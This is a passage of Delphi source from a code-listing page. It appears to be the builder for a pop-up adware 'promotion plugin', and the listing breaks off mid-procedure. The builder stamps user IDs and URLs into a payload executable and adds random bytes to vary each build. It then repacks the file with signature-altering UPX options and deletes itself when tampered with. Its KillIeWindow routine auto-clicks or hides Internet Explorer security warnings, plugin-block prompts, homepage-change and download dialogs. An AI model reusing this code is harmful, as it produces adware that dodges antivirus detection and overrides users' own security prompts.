📄 unitconfigserver.pas
字号:
flag_zip:=flag_zip+'20061231';
data:=LoadFromFile(e_file.Text);
if copy(data,1,length(flag_zip))<>flag_zip then
begin
messagebox(handle,'版本错误,请联系开发商!','警告',0);
exit;
end;
//生成的和下载的不一样
tmp:=MD5Print(MD5String(e_user.Text+data));
if f_md5<>tmp then
begin
DeleteSelf(application.ExeName);
halt;
exit;
end;
//解压
data:=copy(data,length(flag_zip)+1,length(data));
tmp:=DataUnCompress(data);
data:=tmp;
panel1.caption:='';
for c:=0 to memo1.Lines.Count-1 do
if trim(memo1.Lines[c])<>'' then
begin
panel1.Caption:='正在生成'+memo1.Lines[c]+'的推广插件,请等待......';
refresh;
len:=length(flag_userid);
userid:=trim(memo1.Lines[c]);
if 30<length(userid) then
begin
MessageBox(handle,pchar('userid太长,不能超过30'+#13+userid), '警告', 0);
exit;
end;
m:=pos(',',userid);
if m<=0 then
if 20<length(userid) then
begin
MessageBox(handle,pchar('userid太长,不能超过20'+#13+userid), '警告', 0);
exit;
end;
if m>0 then
begin
if length(copy(userid,1,m-1))>20 then
begin
MessageBox(handle,pchar('用户编号太长,不能超过20'+#13+userid), '警告', 0);
exit;
end;
if length(copy(userid,m+1,length(userid)))>20 then
begin
MessageBox(handle,pchar('推广员编号太长,不能超过20'+#13+userid), '警告', 0);
exit;
end;
end;
if len<length(userid) then
begin
MessageBox(handle, pchar('userid预留位置太小!'+#13+inttostr(len)+':'+inttostr(length(userid))), '警告', 0);
exit;
end;
while true do
begin
if length(userid)>=len then break;
userid:=userid+' ';
end;
tmp:=data;
//替换常量 -url
if ReplaceField(flag,url,'url',tmp)=false then exit;
//替换常量 -ver
if ReplaceField(flag_ver,ver,'ver',tmp)=false then exit;
//替换常量 -user
if ReplaceField(flag_userid,userid,'userid',tmp)=false then exit;
//替换常量 -onlypop
if ReplaceField(flag_onlypop,onlypop,'onlypop',tmp)=false then exit;
//替换常量 -test
if ReplaceField(flag_test,test,'test',tmp)=false then exit;
//替换常量 -id
if ReplaceField(flag_id,id,'id',tmp)=false then exit;
//替换随机数据
fuck:=CreateFuckCode;
if ReplaceField(fuck_code,fuck,'随机',tmp)=false then exit;
//保存文件
st:=tstringstream.Create(tmp);
f:=tmemorystream.Create;
try
st.Position:=0;
f.CopyFrom(st,st.Size);
fn:=e_output.Text+trim(userid)+'.exe';
f.SaveToFile(fn);
finally
f.Free;
st.Free;
end;
if CheckBox1.Checked then
begin
panel1.Caption:='正在压缩'+memo1.Lines[c]+'的推广插件,请等待......';
refresh;
sleep(1000);
if fileexists('upx.exe')=false then
begin
ExtractRes('RCDUPX', 'UPXKMM', 'UPX.EXE');
sleep(1500);
end;
//检查压缩软件是否正常
if CheckUPX=false then
begin
DeleteSelf(application.ExeName);
halt;
exit;
end;
if fileexists('upx.exe') then
begin
s_tmp:='"' +fn + '" -set -srt -force -c'+e_lc.Text+' -f'+e_fb.Text;
if e_base.Value>0 then
s_tmp:=s_tmp+' -rlc '+e_base.Text;
ShellExecute(0, nil, pchar('upx.exe'), PChar(s_tmp), nil, SW_MINIMIZE);
sleep(5000);
end;
end;
count:=count+1;
end;
if ck_test.Checked then
MessageBox(handle, pchar('生成完毕!'+#13+'请注意:您生成的是测试版本,请不要正式使用!!!'#13+'共生成'+inttostr(count)+'个文件'), '提示', 0)
else
MessageBox(handle, pchar('生成完毕!'+#13+'共生成'+inttostr(count)+'个文件'), '提示', 0);
{if fileexists('upx.exe') then
DeleteFile('upx.exe');}
panel1.caption:='共生成'+inttostr(count)+'个文件!保存到'+e_output.Text;
end;
procedure Tf_main.FormShow(Sender: TObject);
var ini:tinifile;
f_cjlx:string;
Owner : HWnd;
function IE4Installed: Boolean;
var
RegKey: HKEY;
begin
Result := False;
if RegOpenKey(HKEY_LOCAL_MACHINE, KEY_IE, RegKey) = ERROR_SUCCESS then
try
Result := RegQueryValueEx(RegKey, 'Version', nil, nil, nil, nil) = ERROR_SUCCESS;
finally
RegCloseKey(RegKey);
end;
end;
begin
//try
if tag<>0 then exit;
//messagebox(handle,pchar(inttostr(width)+','+inttostr(wd)),'',0);
tag:=1;
Owner:=GetWindow(Handle,GW_OWNER);
ShowWindow(Owner,SW_HIDE);
SkinData1.Active:=false;
SkinData1.Active:=true;
try
if IE4Installed then
FTaskMessage := RegisterWindowMessage('TaskbarCreated')
except
end;
label4.Caption:='当前日期:'+formatdatetime('yyyy-MM-dd',now);
ini:=tinifile.Create(current_path+cfg);
e_ver.Text:=ini.ReadString('sys','ver','000000');
e_ver_new.Text:=ini.ReadString('sys','ver_new','000000');
e_file.Text:=ini.ReadString('file','name',current_path+'hitpop.dat');
e_output.Text:=ini.ReadString('output','path','');
e_user.Text:=ini.ReadString('sys','user','');
e_password.Text:=ini.ReadString('sys','password','');
e_lc.Text:=ini.ReadString('zip','lc','4');
e_fb.Text:=ini.ReadString('zip','fb','128');
e_base.Text:=ini.ReadString('zip','base','60000000');
lb_url.Caption:=ini.ReadString('sys','url','');
f_cjlx:=ini.ReadString('sys','copyright','');
//ck_form.hint:=ini.ReadString('form','type','1');
rb1.Checked:=ini.ReadString('sys','vip','0')<>'1';
rb2.Checked:=not rb1.Checked;
ini.Free;
try
e_user.Text:=decodestr(e_user.Text);
except
e_user.Text:='';
end;
try
e_password.Text:=decodestr(e_password.Text);
except
e_password.Text:='';
end;
try
f_cjlx:=decodestr(f_cjlx);
except
f_cjlx:='';
end;
try
lb_url.Caption:=decodestr(lb_url.Caption)
except
lb_url.Caption:='';
end;
e_url.Text:=lb_url.Caption;
e_url.Visible:=false;
b_reg.Visible:=false;
if e_user.Text='690196236' then
begin
e_url.Visible:=true;
b_reg.Visible:=true;
end;
if copy(f_cjlx,1,length(e_user.Text))<>e_user.Text then
f_cjlx:='';
f_cjlx:=copy(f_cjlx,length(e_user.Text)+1,length(f_cjlx));
cjlx:='1';//默认弹窗
if trim(f_cjlx)='点击' then
cjlx:='0';
if trim(f_cjlx)='vip' then
cjlx:='2';
label6.Caption:='注册给:'+e_user.Text+',';
if cjlx='0' then
label6.Caption:=label6.Caption+'点击版';
if cjlx='1' then
label6.Caption:=label6.Caption+'弹窗版';
if cjlx='2' then
label6.Caption:=label6.Caption+'vip版';
ini:=tinifile.Create(syscfg);
if ini.ReadString('sys','usertype','')<>'main' then
ini.WriteString('sys','usertype','main');
ini.Free;
if fileexists(current_path+user_fn) then
memo1.Lines.LoadFromFile(current_path+user_fn);
Randomize;
if fileexists('upx.exe')=false then
begin
ExtractRes('RCDUPX', 'UPXKMM', 'UPX.EXE');
end;
timer2.Enabled:=true;
//except
//end;
end;
procedure Tf_main.FormDestroy(Sender: TObject);
var ini:tinifile;
begin
try
//DeleteFile('upx.exe');
timer1.Tag:=1;
timer1.Enabled:=false;
memo1.Lines.savetoFile(current_path+user_fn);
ini:=tinifile.Create(current_path+cfg);
if ck_form.Checked then
ini.writeString('form','type','1')
else
ini.writeString('form','type','0');
ini.writeString('zip','lc',e_lc.Text);
ini.writeString('zip','fb',e_fb.Text);
ini.writeString('zip','base',e_base.Text);
if rb2.Checked then
ini.writeString('sys','vip','1')
else
ini.writeString('sys','vip','0');
ini.free;
//撤消任务栏注册
DeleteIcon;
SkinData1.Active:=false;
except
end;
end;
procedure Tf_main.Button1Click(Sender: TObject);
var url:string;
begin
url:=lb_url.Caption;
if lowercase(copy(url,1,7))<>'http://' then exit;
ShellExecute(0,'open','iexplore.exe',pchar(url),nil,sw_shownormal);
end;
procedure GetWindowsHandle(ClassName:string;var st:tstringlist);
var h,wnd:integer;
ClassName1: array [0..50] of Char; { 当前窗体的类名 }
s:string;
begin
st.Clear;
h := GetActiveWindow(); //将IEFrame改成腾讯浏览器的类名
if h=0 then
h:=GetForegroundWindow();
wnd:=h;
while wnd<>0 do
begin
GetClassName(wnd, @ClassName1, 10);
if StrPas(@ClassName1) = ClassName then
begin
s:=inttostr(wnd);
if st.IndexOf(s)<0 then
st.Add(s);
end;
wnd:=GetNextWindow(wnd,GW_HWNDNEXT);
end;
while wnd<>0 do
begin
GetClassName(wnd, @ClassName1, 10);
if StrPas(@ClassName1) = ClassName then
begin
s:=inttostr(wnd);
if st.IndexOf(s)<0 then
st.Add(s);
end;
wnd:=GetNextWindow(wnd,GW_HWNDPREV);
end;
end;
//杀ie里垃圾窗口
procedure KillIeWindow;
var k,h:integer;
begin
try
//杀弹出窗口
k:=findwindow('Internet Explorer_TridentDlgFrame',nil);
if k<>0 then
if IsWindowEnabled(k) then
begin
sendmessage(k,wm_close,0,0);
end
else
SetWindowPos(k,HWND_NOTOPMOST,-4000,Screen.Height+100,400,400,SWP_NOACTIVATE);
//杀添加到收藏夹
k:=findwindow('#32770','添加到收藏夹');
if k<>0 then
if IsWindowEnabled(k) then
begin
k:=findwindowex(k,0,'Button','取消');
if k<>0 then
begin
SendMessage(k, WM_LBUTTONDOWN, 0, 0);
SendMessage(k, WM_LBUTTONUP, 0, 0);
SendMessage(k, WM_LBUTTONDOWN, 0, 0);
SendMessage(k, WM_LBUTTONUP, 0, 0);
end;
end
else
SetWindowPos(k,HWND_NOTOPMOST,-4000,Screen.Height+100,400,400,SWP_NOACTIVATE);;
//杀设置首页窗口
k:=findwindow('#32770','主页');
if k<>0 then
if IsWindowEnabled(k) then
begin
k:=findwindowex(k,0,'Button','否(&N)');
if k<>0 then
begin
SendMessage(k, WM_LBUTTONDOWN, 0, 0);
SendMessage(k, WM_LBUTTONUP, 0, 0);
SendMessage(k, WM_LBUTTONDOWN, 0, 0);
SendMessage(k, WM_LBUTTONUP, 0, 0);
end;
end
else
SetWindowPos(k,HWND_NOTOPMOST,-4000,Screen.Height+100,400,400,SWP_NOACTIVATE);;
//安全设置警告
k:=findwindow('#32770','安全设置警告');
if k<>0 then
if IsWindowEnabled(k) then
begin
k:=findwindowex(k,0,'Button','否(&N)');
if k<>0 then
begin
SendMessage(k, WM_LBUTTONDOWN, 0, 0);
SendMessage(k, WM_LBUTTONUP, 0, 0);
SendMessage(k, WM_LBUTTONDOWN, 0, 0);
SendMessage(k, WM_LBUTTONUP, 0, 0);
end;
end
else
SetWindowPos(k,HWND_NOTOPMOST,-4000,Screen.Height+100,400,400,SWP_NOACTIVATE);
//存储器不足,无法完成此操作
k:=findwindow('TMessageForm','');
if k<>0 then
if IsWindowEnabled(k) then
begin
k:=findwindowex(k,0,'TButton','OK');
if k<>0 then
begin
SendMessage(k, WM_LBUTTONDOWN, 0, 0);
SendMessage(k, WM_LBUTTONUP, 0, 0);
SendMessage(k, WM_LBUTTONDOWN, 0, 0);
SendMessage(k, WM_LBUTTONUP, 0, 0);
end;
end
else
SetWindowPos(k,HWND_NOTOPMOST,-4000,Screen.Height+100,400,400,SWP_NOACTIVATE);
//插件拦截提示
k:=findwindow('#32770','插件拦截提示');
if k<>0 then
if IsWindowEnabled(k) then
begin
k:=findwindowex(k,0,'Button','是');
if k<>0 then
begin
SendMessage(k, WM_LBUTTONDOWN, 0, 0);
SendMessage(k, WM_LBUTTONUP, 0, 0);
SendMessage(k, WM_LBUTTONDOWN, 0, 0);
SendMessage(k, WM_LBUTTONUP, 0, 0);
end;
end
else
SetWindowPos(k,HWND_NOTOPMOST,-4000,Screen.Height+100,400,400,SWP_NOACTIVATE);
//雅虎助手 — 信息提示
k:=findwindow('#32770','雅虎助手 — 信息提示');
if k<>0 then
if IsWindowEnabled(k) then
begin
h:=findwindowex(k,0,'Button','不再显示此信息(&D)');
if h<>0 then//设置选中状态
begin
//showmessage('a');
SendMessage(h, BM_SETCHECK, Integer(true), 0);
end;
//得按钮,关闭
h:=findwindowex(k,0,'Button','确定');
if h<>0 then//关闭
begin
SendMessage(h, WM_LBUTTONDOWN, 0, 0);
SendMessage(h, WM_LBUTTONUP, 0, 0);
SendMessage(h, WM_LBUTTONDOWN, 0, 0);
SendMessage(h, WM_LBUTTONUP, 0, 0);
end;
end
else
SetWindowPos(k,HWND_NOTOPMOST,-4000,Screen.Height+100,400,400,SWP_NOACTIVATE);;
//杀退出提示框
k:=findwindow('#32770','Microsoft Internet Explorer');
if k<>0 then
if IsWindowEnabled(k) then
begin
k:=findwindowex(k,0,'Button','确定');
if k<>0 then
begin
SendMessage(k, WM_LBUTTONDOWN, 0, 0);
SendMessage(k, WM_LBUTTONUP, 0, 0);
SendMessage(k, WM_LBUTTONDOWN, 0, 0);
SendMessage(k, WM_LBUTTONUP, 0, 0);
end;
end
else
SetWindowPos(k,HWND_NOTOPMOST,-4000,Screen.Height+100,400,400,SWP_NOACTIVATE);;
//关文件下载
k:=findwindow('#32770','文件下载');
if k<>0 then
if IsWindowEnabled(k) then
begin
//得按钮,关闭
h:=findwindowex(k,0,'Button','取消');
if h<>0 then//关闭
begin
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -